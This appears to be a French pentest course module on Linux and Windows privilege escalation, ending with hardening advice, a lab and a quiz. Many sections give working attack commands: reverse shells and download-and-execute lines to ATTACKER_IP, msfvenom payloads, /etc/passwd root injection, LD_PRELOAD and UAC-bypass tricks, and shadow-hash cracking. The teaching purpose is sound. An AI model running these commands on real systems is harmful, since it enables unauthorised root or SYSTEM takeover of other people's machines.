Escalade de Privileges
Apres avoir obtenu un acces initial, il faut monter en puissance. Maitrise les techniques d'escalade de privileges sur Linux et Windows pour passer de simple utilisateur a administrateur ou root.
- Comprendre la difference entre escalade horizontale et verticale
- Maitriser l'enumeration systematique sur Linux et Windows
- Exploiter les erreurs de configuration SUID, sudo et cron sur Linux
- Exploiter les services mal configures, tokens et DLL hijacking sur Windows
- Utiliser les outils d'automatisation : LinPEAS, WinPEAS, PowerUp
- Mettre en place les defenses contre l'escalade de privileges
🔒 T5.1 — Qu'est-ce que l'escalade de privileges ?
L'escalade de privileges (privilege escalation) est une technique qui permet a un attaquant d'obtenir un niveau d'acces superieur a celui initialement accorde. C'est une etape cruciale dans la chaine d'attaque : apres l'acces initial (souvent en tant qu'utilisateur standard), l'objectif est d'atteindre les privileges root (Linux) ou SYSTEM / Administrator (Windows).
Imagine un stagiaire dans une grande entreprise. Il a un badge qui lui ouvre la porte d'entree et son bureau. Un jour, il trouve dans un tiroir mal ferme la cle du coffre-fort du PDG. Avec cette cle, il a acces a tous les documents confidentiels, les comptes bancaires, les plans strategiques. L'escalade de privileges, c'est exactement ca : tu entres avec un acces basique, et tu trouves un moyen d'obtenir les cles du royaume.
Escalade horizontale vs verticale
Escalade verticale (Elevation de privileges)
Tu passes d'un compte a faibles privileges vers un compte a privileges eleves. C'est le scenario classique : utilisateur standard vers root/admin.
- Utilisateur
www-dataversrootsur Linux - Utilisateur standard vers
NT AUTHORITY\SYSTEMsur Windows - Exploitation d'un binaire SUID, d'un service mal configure, d'un kernel exploit
Escalade horizontale (Lateral movement)
Tu passes d'un compte utilisateur vers un autre compte du meme niveau de privileges, mais avec des acces differents.
- De
user1versuser2qui a acces a d'autres fichiers - Acces au compte d'un administrateur de base de donnees
- Compromission d'un compte de service ayant acces a des ressources specifiques
Comparaison horizontale vs verticale
| Critere | Escalade verticale | Escalade horizontale |
|---|---|---|
| Direction | Vers le haut (plus de privileges) | Laterale (meme niveau) |
| Objectif | root / SYSTEM / Administrator | Autre utilisateur avec acces differents |
| Exemple Linux | www-data → root | user1 → user2 |
| Exemple Windows | User → NT AUTHORITY\SYSTEM | User → Admin local d'une autre machine |
| Impact | Controle total du systeme | Acces a d'autres ressources/donnees |
| Detection | Souvent visible dans les logs | Plus difficile a detecter |
| Techniques | SUID, sudo, kernel exploit, token | Password reuse, session hijacking |
Pourquoi c'est important
L'escalade de privileges est fondamentale pour deux raisons :
- Pour l'attaquant / pentester : un acces initial en tant qu'utilisateur standard ne suffit pas. Pour exfiltrer des donnees sensibles, installer de la persistance, pivoter vers d'autres machines du reseau, il faut des privileges eleves.
- Pour le defenseur : comprendre ces techniques permet d'auditer les systemes, de corriger les misconfigurations et de mettre en place des controles qui bloquent l'escalade.
🔎 T5.2 — Enumeration : la cle de l'escalade
Avant de tenter quoi que ce soit, il faut enumerer le systeme de maniere systematique. L'enumeration est la phase la plus importante : elle te permet de decouvrir les vecteurs d'escalade disponibles.
L'enumeration, c'est comme inspecter une maison avant un cambriolage (legal). Tu verifies chaque fenetre, chaque porte, chaque serrure. Tu notes quels volets sont ouverts, quelles portes ne ferment pas bien, ou sont les cameras. Plus tu observes, plus tu trouveras un point d'entree. En privilege escalation, c'est pareil : plus tu enumeres, plus tu trouves de vecteurs d'attaque.
Informations systeme
# Qui suis-je ?
whoami
id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
# Nom de la machine
hostname
# Informations noyau et OS
uname -a
# Linux webserver 5.15.0-91-generic #101-Ubuntu SMP x86_64
cat /etc/os-release
# NAME="Ubuntu"
# VERSION="22.04.3 LTS (Jammy Jellyfish)"
# Architecture
arch
# x86_64
:: Qui suis-je ?
whoami
:: corp\jdupont
whoami /priv
:: Affiche les privileges du token actuel
whoami /groups
:: Affiche les groupes de l'utilisateur
:: Informations systeme detaillees
systeminfo
:: Nom du systeme, version, hotfixes installes...
:: Nom de la machine
hostname
Utilisateurs et groupes
# Lister tous les utilisateurs avec un shell
cat /etc/passwd | grep -v nologin | grep -v false
# Utilisateurs connectes
w
who
last
# Groupes de l'utilisateur courant
groups
# Fichiers accessibles par l'utilisateur
find / -user $(whoami) -type f 2>/dev/null
# Verifier /etc/shadow (lisible ?)
ls -la /etc/shadow
cat /etc/shadow 2>/dev/null
:: Lister tous les utilisateurs locaux
net user
:: Details d'un utilisateur
net user Administrator
:: Groupes locaux
net localgroup
:: Membres du groupe Administrateurs
net localgroup Administrators
:: Utilisateurs du domaine (si en domaine)
net user /domain
Reseau
# Interfaces reseau
ip a
ifconfig
# Routes
ip route
route -n
# Connexions actives
ss -tlnp
netstat -tlnp
# Fichiers hosts et resolv.conf
cat /etc/hosts
cat /etc/resolv.conf
# Regles de pare-feu
iptables -L -n 2>/dev/null
:: Interfaces reseau
ipconfig /all
:: Routes
route print
:: Connexions actives
netstat -ano
:: Regles de pare-feu
netsh advfirewall show allprofiles
netsh firewall show state
:: Partages reseau
net share
Processus et services
# Processus en cours d'execution
ps aux
ps -ef
# Processus executes en root
ps aux | grep root
# Services actifs
systemctl list-units --type=service --state=running
# Ports en ecoute et processus associes
ss -tlnp
:: Processus en cours
tasklist /SVC
:: Services et leur configuration
sc query state= all
wmic service get name,displayname,pathname,startmode
:: Services avec chemin non quote (vecteur d'attaque !)
wmic service get name,pathname | findstr /i /v "C:\Windows"
Logiciels installes
# Paquets installes (Debian/Ubuntu)
dpkg -l
# Paquets installes (RedHat/CentOS)
rpm -qa
# Version du compilateur (utile pour les kernel exploits)
gcc --version
# Programmes dans /opt, /usr/local
ls -la /opt/
ls -la /usr/local/bin/
:: Logiciels 32 bits
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
:: Logiciels 64 bits
reg query HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall
:: Programmes installes via WMIC
wmic product get name,version
Outils d'enumeration automatique
| Outil | OS | Description | Commande |
|---|---|---|---|
| LinPEAS | Linux | Enumeration complete avec coloration des vecteurs critiques | ./linpeas.sh |
| WinPEAS | Windows | Equivalent Windows de LinPEAS | .\winPEASx64.exe |
| linux-exploit-suggester | Linux | Suggere des kernel exploits en fonction de la version | ./linux-exploit-suggester.sh |
| LinEnum | Linux | Enumeration classique et rapide | ./LinEnum.sh -t |
| Seatbelt | Windows | Enumeration de securite Windows (GhostPack) | .\Seatbelt.exe -group=all |
# Sur la machine attaquante : serveur HTTP
python3 -m http.server 8080
# Sur la cible Linux : telechargement et execution
cd /tmp
wget http://ATTACKER_IP:8080/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee linpeas_output.txt
# Alternative sans ecriture disque (execution en memoire)
curl http://ATTACKER_IP:8080/linpeas.sh | bash
tee pour pouvoir l'analyser a tete reposee.
🐧 T5.3 — Escalade Linux : techniques classiques
Linux offre de nombreux vecteurs d'escalade de privileges, souvent lies a des erreurs de configuration plutot qu'a des vulnerabilites logicielles. Voici les techniques les plus courantes, de la plus frequente a la plus avancee.
Le bit SUID (Set User ID) permet a un binaire de s'executer avec les privileges de son proprietaire (souvent root), quel que soit l'utilisateur qui le lance. Le bit SGID fait la meme chose avec le groupe.
# Rechercher tous les fichiers SUID
find / -perm -4000 -type f 2>/dev/null
# Rechercher les fichiers SGID
find / -perm -2000 -type f 2>/dev/null
# Les deux en meme temps
find / -perm -u=s -o -perm -g=s -type f 2>/dev/null
# Resultat typique :
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/find ← SUID sur find = escalade facile !
/usr/bin/vim ← SUID sur vim = escalade facile !
/usr/bin/python3 ← SUID sur python = game over
/usr/local/bin/backup ← binaire custom suspect
GTFOBins (gtfobins.github.io) est la reference absolue pour savoir comment exploiter un binaire SUID.
# find avec SUID → shell root
find . -exec /bin/bash -p \;
# python3 avec SUID → shell root
python3 -c 'import os; os.execl("/bin/bash", "bash", "-p")'
# vim avec SUID → shell root
vim -c ':!/bin/bash'
# nmap (anciennes versions) avec SUID
nmap --interactive
!sh
# bash avec SUID → shell root
bash -p
# cp avec SUID → ecraser /etc/passwd
# 1. Generer un hash de mot de passe
openssl passwd -1 -salt hack P@ssw0rd
# $1$hack$WnXQ7S.3p4qG6FJK0fPow/
# 2. Creer un fichier passwd modifie avec un utilisateur root
echo 'hacker:$1$hack$WnXQ7S.3p4qG6FJK0fPow/:0:0:root:/root:/bin/bash' >> /tmp/passwd
# 3. Ecraser /etc/passwd
cp /tmp/passwd /etc/passwd
# 4. Se connecter
su hacker
# Password: P@ssw0rd → root !
La commande sudo permet a un utilisateur d'executer des commandes avec les privileges d'un autre utilisateur (par defaut root). La configuration se trouve dans /etc/sudoers.
# Lister les privileges sudo de l'utilisateur courant
sudo -l
# Resultat typique :
User www-data may run the following commands on webserver:
(ALL) NOPASSWD: /usr/bin/find
(ALL) NOPASSWD: /usr/bin/vim
(ALL) NOPASSWD: /usr/bin/env
(root) NOPASSWD: /opt/scripts/backup.sh
# sudo find → shell root
sudo find /etc -exec /bin/bash \;
# sudo vim → shell root
sudo vim -c ':!/bin/bash'
# sudo env → shell root
sudo env /bin/bash
# sudo awk → shell root
sudo awk 'BEGIN {system("/bin/bash")}'
# sudo less → shell root
sudo less /etc/hosts
!/bin/bash
# sudo nmap → shell root
sudo nmap --interactive
!sh
# sudo python3 → shell root
sudo python3 -c 'import os; os.system("/bin/bash")'
# sudo perl → shell root
sudo perl -e 'exec "/bin/bash";'
LD_PRELOAD — Technique avancee
Si sudo -l montre env_keep+=LD_PRELOAD, tu peux charger une bibliotheque malveillante.
# 1. Creer la bibliotheque malveillante
cat > /tmp/shell.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
}
EOF
# 2. Compiler
gcc -fPIC -shared -nostartfiles -o /tmp/shell.so /tmp/shell.c
# 3. Executer avec sudo et LD_PRELOAD
sudo LD_PRELOAD=/tmp/shell.so /usr/bin/find
# → shell root !
NOPASSWD dans /etc/sudoers est extremement dangereuse. Elle permet d'executer des commandes en root sans mot de passe. Combinee avec un binaire exploitable, c'est un acces root instantane.
Les taches cron sont des commandes executees automatiquement a intervalles reguliers. Si un cron job root execute un script que tu peux modifier, tu peux injecter du code execute en root.
# Crontab systeme
cat /etc/crontab
# Crontab de l'utilisateur courant
crontab -l
# Repertoires cron
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
# Timers systemd (equivalent moderne)
systemctl list-timers --all
# Surveiller les processus pour detecter les crons
# (outil pspy — pas besoin de root)
./pspy64
Exploitation : script modifiable
# /etc/crontab contient :
# * * * * * root /opt/scripts/backup.sh
# Verifier les permissions
ls -la /opt/scripts/backup.sh
# -rwxrwxrwx 1 root root ← Writable par tout le monde !
# Injecter un reverse shell
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/scripts/backup.sh
# Ou ajouter un utilisateur root
echo 'echo "hacker::0:0::/root:/bin/bash" >> /etc/passwd' >> /opt/scripts/backup.sh
# Attendre l'execution du cron (max 1 minute si * * * * *)
Exploitation : PATH manipulation
# /etc/crontab contient :
# PATH=/home/user:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin
# * * * * * root backup
# Le script "backup" est appele SANS chemin absolu
# Le PATH inclut /home/user en premier !
# Creer un faux "backup" dans /home/user
echo '#!/bin/bash' > /home/user/backup
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /home/user/backup
chmod +x /home/user/backup
# Attendre l'execution du cron
# Puis :
/tmp/rootbash -p
# → shell root !
Si /etc/passwd est modifiable, tu peux ajouter un utilisateur avec UID 0 (root). Si /etc/shadow est lisible, tu peux cracker les hash hors ligne.
# Verifier les permissions
ls -la /etc/passwd
# -rw-rw-rw- 1 root root ← Writable !
# Generer un hash de mot de passe
openssl passwd -1 -salt xyz password123
# $1$xyz$f3Cq0MbLqJMz1Y8dPk7wH1
# Ajouter un utilisateur root
echo 'hacker:$1$xyz$f3Cq0MbLqJMz1Y8dPk7wH1:0:0:Hacker:/root:/bin/bash' >> /etc/passwd
# Se connecter
su hacker
# Password: password123
# → root !
# Verifier les permissions
ls -la /etc/shadow
# -rw-r--r-- 1 root shadow ← Lisible !
# Copier le contenu
cat /etc/shadow
# Cracker avec John the Ripper
unshadow /etc/passwd /etc/shadow > crackme.txt
john --wordlist=/usr/share/wordlists/rockyou.txt crackme.txt
# Ou avec Hashcat
hashcat -m 1800 shadow_hashes.txt rockyou.txt
Les capabilities sont un mecanisme Linux plus granulaire que SUID. Au lieu de donner tous les privileges root, on donne des capacites specifiques. Mais certaines capabilities sont aussi dangereuses que le SUID root.
# Lister toutes les capabilities
getcap -r / 2>/dev/null
# Resultat typique :
/usr/bin/python3.10 cap_setuid=ep ← DANGER !
/usr/bin/ping cap_net_raw=ep ← Normal
/usr/bin/perl cap_setuid=ep ← DANGER !
/usr/sbin/tcpdump cap_net_raw=ep ← Normal
# Exploitation python3 avec cap_setuid
/usr/bin/python3.10 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# → root !
# Exploitation perl avec cap_setuid
/usr/bin/perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'
# → root !
# Exploitation ruby avec cap_setuid
/usr/bin/ruby -e 'Process::Sys.setuid(0); exec "/bin/bash"'
# → root !
cap_setuid (changer d'UID), cap_setgid (changer de GID), cap_dac_override (ignorer les permissions fichier), cap_sys_admin (operations admin), cap_sys_ptrace (injection dans les processus).
Les exploits noyau exploitent des vulnerabilites dans le kernel Linux lui-meme. C'est souvent la derniere solution quand rien d'autre ne fonctionne, car ils peuvent planter le systeme.
| Exploit | CVE | Kernels affectes | Description |
|---|---|---|---|
| Dirty COW | CVE-2016-5195 | 2.6.22 - 4.8.3 | Race condition dans copy-on-write |
| Dirty Pipe | CVE-2022-0847 | 5.8 - 5.16.11 | Ecriture arbitraire dans les pipes |
| PwnKit | CVE-2021-4034 | Tous (Polkit) | Vuln dans pkexec (Polkit) |
| Baron Samedit | CVE-2021-3156 | sudo 1.8.2 - 1.9.5p1 | Heap overflow dans sudo |
| GameOver(lay) | CVE-2023-2640 | Ubuntu (OverlayFS) | Vuln dans OverlayFS Ubuntu |
# Verifier la version du kernel
uname -r
# 5.13.0-40-generic ← Vulnerable !
# Compiler l'exploit
gcc -o dirty_pipe exploit.c
./dirty_pipe /etc/passwd 1 "${openssl_hash}"
# Avec linux-exploit-suggester
./linux-exploit-suggester.sh
# [+] CVE-2022-0847 (DirtyPipe)
# Details: https://dirtypipe.cm4all.com/
# Exposure: highly probable
# Tags: ubuntu=20.04,ubuntu=21.04
# Download URL: https://haxx.in/files/dirtypipez.c
Certains programmes interpretent les noms de fichiers comme des options de ligne de commande. Si un script root utilise un wildcard (*) dans un repertoire ou tu peux creer des fichiers, tu peux injecter des options.
# Un cron job root execute :
# cd /home/user && tar czf /backup/archive.tar.gz *
# Le wildcard (*) va interpreter les noms de fichiers comme des options !
# Creer les fichiers "malveillants"
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > /home/user/shell.sh
echo "" > "/home/user/--checkpoint=1"
echo "" > "/home/user/--checkpoint-action=exec=bash shell.sh"
# Quand tar s'execute avec *, il verra :
# tar czf /backup/archive.tar.gz --checkpoint=1 --checkpoint-action=exec=bash shell.sh ...
# → Execute shell.sh en tant que root !
# Si un script root execute : chmod 777 *
# ou : chown user:user *
# Creer un fichier reference symbolique
ln -s /etc/shadow /home/user/shadow_link
echo "" > "/home/user/--reference=shadow_link"
# chown avec --reference va donner les memes permissions
# que le fichier reference
🏳️ T5.4 — Escalade Windows : techniques classiques
Windows offre une surface d'attaque differente de Linux. Les vecteurs d'escalade sont souvent lies aux services, aux tokens, au registre et aux permissions de fichiers.
Quand un chemin de service Windows contient des espaces et n'est pas entre guillemets, Windows tente de resoudre le chemin de maniere ambigue. Cela permet d'injecter un binaire malveillant.
:: Lister les services avec chemins non quotes
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
:: Avec PowerShell
Get-WmiObject win32_service | Where-Object {
$_.PathName -notlike "C:\Windows\*" -and
$_.PathName -notlike '"*' -and
$_.PathName -like '* *'
} | Select-Object Name, PathName, StartMode
:: Resultat :
:: VulnService C:\Program Files\Vuln App\Service\vuln.exe Auto
:: Le chemin est : C:\Program Files\Vuln App\Service\vuln.exe
:: Windows va essayer dans l'ordre :
:: 1. C:\Program.exe
:: 2. C:\Program Files\Vuln.exe ← ICI !
:: 3. C:\Program Files\Vuln App\Service\vuln.exe
:: Verifier les permissions d'ecriture
icacls "C:\Program Files\Vuln App\"
:: Si BUILTIN\Users:(W) → on peut ecrire !
:: Placer notre payload
:: msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f exe -o Vuln.exe
copy Vuln.exe "C:\Program Files\Vuln App\Vuln.exe"
:: Redemarrer le service (si on a le droit)
sc stop VulnService
sc start VulnService
:: → Reverse shell en tant que SYSTEM !
Permissions faibles sur le binaire du service
:: Verifier les permissions
icacls "C:\Program Files\VulnService\service.exe"
:: BUILTIN\Users:(F) ← Full control !
:: Sauvegarder l'original
copy "C:\Program Files\VulnService\service.exe" service.bak
:: Remplacer par un payload
copy payload.exe "C:\Program Files\VulnService\service.exe"
:: Redemarrer le service
sc stop VulnService
sc start VulnService
Si la cle de registre AlwaysInstallElevated est activee (valeur = 1) dans HKLM et HKCU, n'importe quel fichier MSI s'installe avec les privileges SYSTEM.
:: Verifier les cles de registre
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
:: Les DEUX doivent etre a 1
:: Generer un MSI malveillant avec MSFVenom
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f msi -o evil.msi
:: Installer le MSI (s'execute en SYSTEM)
msiexec /quiet /qn /i evil.msi
:: → Reverse shell en tant que SYSTEM !
Les attaques Potato exploitent le mecanisme d'impersonation de tokens Windows. Si ton compte possede le privilege SeImpersonatePrivilege (cas des comptes de service IIS, SQL, etc.), tu peux obtenir un token SYSTEM.
| Outil | Versions Windows | Methode |
|---|---|---|
| JuicyPotato | Windows 7/8/2008/2012/2016 | Abus DCOM / MiTM NTLM |
| RoguePotato | Windows 10/2019 | OXID resolution via machine distante |
| PrintSpoofer | Windows 10/2016/2019 | Abus du service Print Spooler |
| GodPotato | Windows 2012 - 2022 | Fonctionne sur presque tout |
| SweetPotato | Toutes versions recentes | Combine plusieurs techniques Potato |
:: Verifier les privileges
whoami /priv
:: SeImpersonatePrivilege Enabled ← BINGO !
:: PrintSpoofer (simple et efficace)
.\PrintSpoofer64.exe -i -c cmd
:: → cmd en tant que SYSTEM
:: JuicyPotato
.\JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\tmp\reverse.exe" -t *
:: GodPotato (le plus universel)
.\GodPotato.exe -cmd "cmd /c whoami"
:: NT AUTHORITY\SYSTEM
.\GodPotato.exe -cmd "cmd /c c:\tmp\reverse.exe"
:: → Reverse shell SYSTEM
SeImpersonatePrivilege. C'est un scenario tres courant lors de l'exploitation d'applications web sur IIS.
Quand un programme Windows charge une DLL, il suit un ordre de recherche specifique. Si tu peux placer une DLL malveillante dans un repertoire prioritaire, elle sera chargee a la place de la DLL legitime.
:: Windows cherche les DLL dans cet ordre :
:: 1. Repertoire de l'application
:: 2. C:\Windows\System32
:: 3. C:\Windows\System
:: 4. C:\Windows
:: 5. Repertoire courant
:: 6. Repertoires dans le PATH
:: Trouver les DLL manquantes avec Process Monitor (ProcMon)
:: Filtrer : Result = NAME NOT FOUND, Path ends with .dll
:: Generer une DLL malveillante
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f dll -o hijacked.dll
:: Placer la DLL dans le repertoire de l'application vulnerable
copy hijacked.dll "C:\Program Files\VulnApp\missing.dll"
:: Redemarrer l'application ou le service
:: → La DLL malveillante est chargee → reverse shell
Similaire aux cron jobs Linux, les taches planifiees Windows peuvent etre exploitees si le script execute est modifiable.
:: Lister toutes les taches planifiees
schtasks /query /fo TABLE /nh
:: Details d'une tache specifique
schtasks /query /tn "Backup" /fo LIST /v
:: Chercher les taches avec des scripts modifiables
:: Verifier les permissions du script execute
icacls "C:\Scripts\backup.bat"
:: BUILTIN\Users:(F) ← Full control !
:: Modifier le script
echo c:\tmp\reverse.exe >> "C:\Scripts\backup.bat"
:: Attendre l'execution de la tache planifiee
:: Avec PowerShell
Get-ScheduledTask | Where-Object {$_.State -ne "Disabled"} |
Format-Table TaskName, TaskPath, State
L'UAC (User Account Control) est le mecanisme qui demande confirmation avant d'executer une action en tant qu'administrateur. Plusieurs techniques permettent de le contourner.
:: fodhelper.exe est un binaire Microsoft signe qui auto-eleve sans prompt UAC
:: Il lit une cle de registre que l'utilisateur peut modifier
:: 1. Creer la cle de registre
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "cmd.exe /c c:\tmp\reverse.exe" /f
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /d "" /f
:: 2. Lancer fodhelper.exe
fodhelper.exe
:: → cmd.exe s'execute en tant qu'administrateur eleve !
:: 3. Nettoyer
reg delete HKCU\Software\Classes\ms-settings\Shell\Open\command /f
:: eventvwr.exe lit aussi des cles de registre modifiables par l'utilisateur
reg add HKCU\Software\Classes\mscfile\Shell\Open\command /d "cmd.exe /c c:\tmp\reverse.exe" /f
reg add HKCU\Software\Classes\mscfile\Shell\Open\command /v DelegateExecute /t REG_SZ /d "" /f
eventvwr.exe
:: → Execution elevee
reg delete HKCU\Software\Classes\mscfile\Shell\Open\command /f
Le registre Windows contient de nombreuses cles qui peuvent etre exploitees pour l'escalade de privileges, notamment les cles AutoRun et les configurations de services.
:: Chercher les cles AutoRun
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
:: Verifier les permissions de la cle de service
:: Si on peut modifier le chemin ImagePath d'un service...
reg query HKLM\SYSTEM\CurrentControlSet\Services\VulnService /v ImagePath
:: Modifier le chemin du binaire du service
reg add HKLM\SYSTEM\CurrentControlSet\Services\VulnService /v ImagePath /t REG_EXPAND_SZ /d "C:\tmp\reverse.exe" /f
:: Redemarrer le service
sc stop VulnService
sc start VulnService
:: Stored credentials dans le registre
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
:: Credentials Autologon
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" 2>nul | findstr /i "DefaultUserName DefaultPassword"
🔧 T5.5 — Outils d'automatisation
L'enumeration manuelle est essentielle pour comprendre les techniques, mais en pratique, on utilise des outils automatises pour gagner du temps et ne rien oublier.
LinPEAS / WinPEAS
PEASS (Privilege Escalation Awesome Scripts Suite) est la reference incontournable. Developpe par Carlos Polop (createur de HackTricks), ces scripts enumerent des centaines de vecteurs d'escalade et colorent les resultats selon la severite.
# Transfert via HTTP
python3 -m http.server 8080 # Sur l'attaquant
curl http://ATTACKER_IP:8080/linpeas.sh | bash # Sur la cible
# Execution avec toutes les verifications
./linpeas.sh -a 2>&1 | tee linpeas.txt
# Execution rapide (sans les checks lents)
./linpeas.sh -s
# Couleurs de LinPEAS :
# ROUGE/JAUNE (RE) → Vecteur d'escalade quasi certain (95%+)
# ROUGE → Configuration dangereuse
# VERT → Utilisateurs avec console
# BLEU → Information utile
# CYAN CLAIR → Fichier interessant
:: Execution complete
.\winPEASx64.exe
:: Execution avec logs
.\winPEASx64.exe log
:: Execution d'un module specifique
.\winPEASx64.exe servicesinfo
:: Modules disponibles :
:: systeminfo, userinfo, processinfo, servicesinfo,
:: applicationsinfo, networkinfo, windowscreds, browserinfo,
:: filesinfo, eventsinfo
linux-exploit-suggester / windows-exploit-suggester
# Linux Exploit Suggester
./linux-exploit-suggester.sh
# Analyse uname -a et suggere des kernel exploits
# Linux Exploit Suggester 2 (Python)
python linux-exploit-suggester-2.py
# Windows Exploit Suggester (necessite systeminfo)
# Sur la cible Windows :
systeminfo > sysinfo.txt
# Sur l'attaquant :
python windows-exploit-suggester.py --database 2024-01-15-mssb.xls --systeminfo sysinfo.txt
PowerUp (PowerShell)
# Charger PowerUp en memoire
IEX(New-Object Net.WebClient).downloadString('http://ATTACKER_IP:8080/PowerUp.ps1')
# Ou depuis un fichier
Import-Module .\PowerUp.ps1
# Lancer toutes les verifications
Invoke-AllChecks
# Verifications specifiques
Get-UnquotedService # Services avec chemins non quotes
Get-ModifiableServiceFile # Binaires de services modifiables
Get-ModifiableService # Services modifiables
Get-RegistryAlwaysInstallElevated # AlwaysInstallElevated
Get-RegistryAutoLogon # Credentials AutoLogon
# Exploitation automatique
Invoke-ServiceAbuse -Name 'VulnService' -UserName 'hacker' -Password 'P@ss123!'
# → Ajoute un admin local automatiquement
BeRoot
# BeRoot pour Linux
python beroot.py
# BeRoot pour Windows
.\beRoot.exe
# Verifie : services, taches planifiees, permissions,
# AlwaysInstallElevated, credentials stockees, etc.
Tableau comparatif des outils
| Outil | OS | Langage | Automatisation | Exploitation | Popularite |
|---|---|---|---|---|---|
| LinPEAS | Linux | Bash | Enumeration complete | Non (detection uniquement) | Tres haute |
| WinPEAS | Windows | C# | Enumeration complete | Non (detection uniquement) | Tres haute |
| PowerUp | Windows | PowerShell | Enumeration ciblee | Oui (Invoke-ServiceAbuse) | Haute |
| linux-exploit-suggester | Linux | Bash | Kernel exploits uniquement | Non (suggestions) | Haute |
| windows-exploit-suggester | Windows | Python | Exploits systeme | Non (suggestions) | Moyenne |
| BeRoot | Les deux | Python | Multi-plateforme | Non (detection) | Moyenne |
| Seatbelt | Windows | C# | Audit de securite | Non (detection) | Haute |
🛡️ T5.6 — Se defendre contre l'escalade
Comprendre les techniques d'escalade permet de mieux s'en defendre. Voici les mesures de securite essentielles pour durcir les systemes Linux et Windows.
Principe du moindre privilege
Chaque utilisateur, processus et service ne doit avoir que les privileges strictement necessaires a son fonctionnement. C'est le fondement de la defense contre l'escalade.
# Auditer les permissions sudo
visudo
# Remplacer :
# user ALL=(ALL) NOPASSWD: ALL ← DANGEREUX
# Par :
# user ALL=(ALL) /usr/bin/systemctl restart apache2 ← Specifique
# Ne jamais donner NOPASSWD sauf necessite absolue
# Toujours specifier les commandes exactes autorisees
# Utiliser des comptes de service dedies
useradd -r -s /usr/sbin/nologin service_app
# → Pas de shell interactif = pas d'escalade par ce compte
user ALL=(ALL) NOPASSWD: ALL dans sudoers est l'equivalent de donner les cles root a un utilisateur. C'est le vecteur d'escalade le plus simple et le plus courant. Ne jamais utiliser cette configuration en production.
Auditer et corriger les SUID / Capabilities
# Lister tous les SUID et comparer avec une baseline
find / -perm -4000 -type f 2>/dev/null > /root/suid_current.txt
diff /root/suid_baseline.txt /root/suid_current.txt
# Retirer le SUID d'un binaire
chmod u-s /usr/bin/find
chmod u-s /usr/bin/vim
# Auditer les capabilities
getcap -r / 2>/dev/null
# Retirer une capability dangereuse
setcap -r /usr/bin/python3.10
# Script d'audit automatique (a mettre en cron)
#!/bin/bash
SUID_COUNT=$(find / -perm -4000 -type f 2>/dev/null | wc -l)
if [ "$SUID_COUNT" -gt 20 ]; then
echo "ALERTE: $SUID_COUNT binaires SUID detectes" | mail -s "SUID Alert" admin@corp.local
fi
Securiser les taches cron
# Toujours utiliser des chemins ABSOLUS dans les cron jobs
# MAUVAIS :
* * * * * root backup
# BON :
* * * * * root /usr/local/bin/backup.sh
# Proteger les scripts executes par root
chmod 700 /opt/scripts/backup.sh
chown root:root /opt/scripts/backup.sh
# Ne pas utiliser de wildcards dans les scripts root
# MAUVAIS :
cd /home/user && tar czf /backup/archive.tar.gz *
# BON :
tar czf /backup/archive.tar.gz -C /home/user --files-from=/root/backup_list.txt
Hardening Windows
:: Desactiver AlwaysInstallElevated
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 0 /f
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 0 /f
:: Configurer le UAC au niveau maximum
:: Panneau de configuration → Comptes utilisateur → Modifier les parametres UAC → Niveau max
:: Verifier et corriger les chemins de services non quotes
:: Mettre les chemins entre guillemets dans le registre
:: Auditer les permissions des repertoires de services
icacls "C:\Program Files" /T /Q
:: Desactiver les comptes inutilisees
net user Guest /active:no
:: Appliquer les mises a jour de securite regulierement
:: Windows Update → Parametres → Mises a jour automatiques
Patching et monitoring
| Mesure | Linux | Windows |
|---|---|---|
| Mises a jour | apt update && apt upgrade | Windows Update automatique |
| Audit SUID/Perms | find / -perm -4000 | icacls / AccessChk |
| Monitoring privileges | auditd / OSSEC | Event Log / Sysmon |
| Detection anomalies | Falco / AIDE | Microsoft Defender ATP |
| Hardening guide | CIS Benchmark Linux | CIS Benchmark Windows |
🔨 T5.7 — Lab : Terminal interactif
Exercice 1 : Enumeration et escalade de privileges Linux
Tu as obtenu un shell en tant que www-data sur un serveur web Linux. Ton objectif : trouver un vecteur d'escalade et obtenir root. Tape help pour voir les commandes disponibles.
Exercice 2 : Associe la technique au bon systeme d'exploitation
Glisse chaque technique d'escalade de privileges dans la zone correspondant a son systeme d'exploitation.
✅ T5.8 — Quiz Escalade de Privileges
Teste tes connaissances sur l'escalade de privileges Linux et Windows. 15 questions pour valider ta maitrise du module.
Points cles du Module T5
